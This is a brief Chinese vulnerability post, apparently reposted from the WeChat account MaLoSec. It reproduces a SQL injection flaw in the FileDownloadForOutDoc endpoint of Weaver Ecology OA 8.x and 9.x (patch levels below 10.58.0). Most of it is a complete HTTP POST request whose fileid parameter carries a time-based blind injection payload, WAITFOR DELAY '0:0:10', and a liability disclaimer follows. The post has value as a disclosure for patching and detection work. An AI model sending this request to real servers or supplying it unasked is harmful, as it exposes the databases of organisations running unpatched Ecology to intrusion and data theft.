影响版本 |
Ecology 9.x 补丁版本 < 10.58.0 |
Ecology 8.x 补丁版本 < 10.58.0 |
【漏洞复现】
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
fileid=2+WAITFOR+DELAY+'0:0:10'&isFromOutImg=1
免责声明由于传播、利用本公众号MaLoSec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号MaLoSec及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(MaLoSec):泛微OA FileDownloadForOutDoc 注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论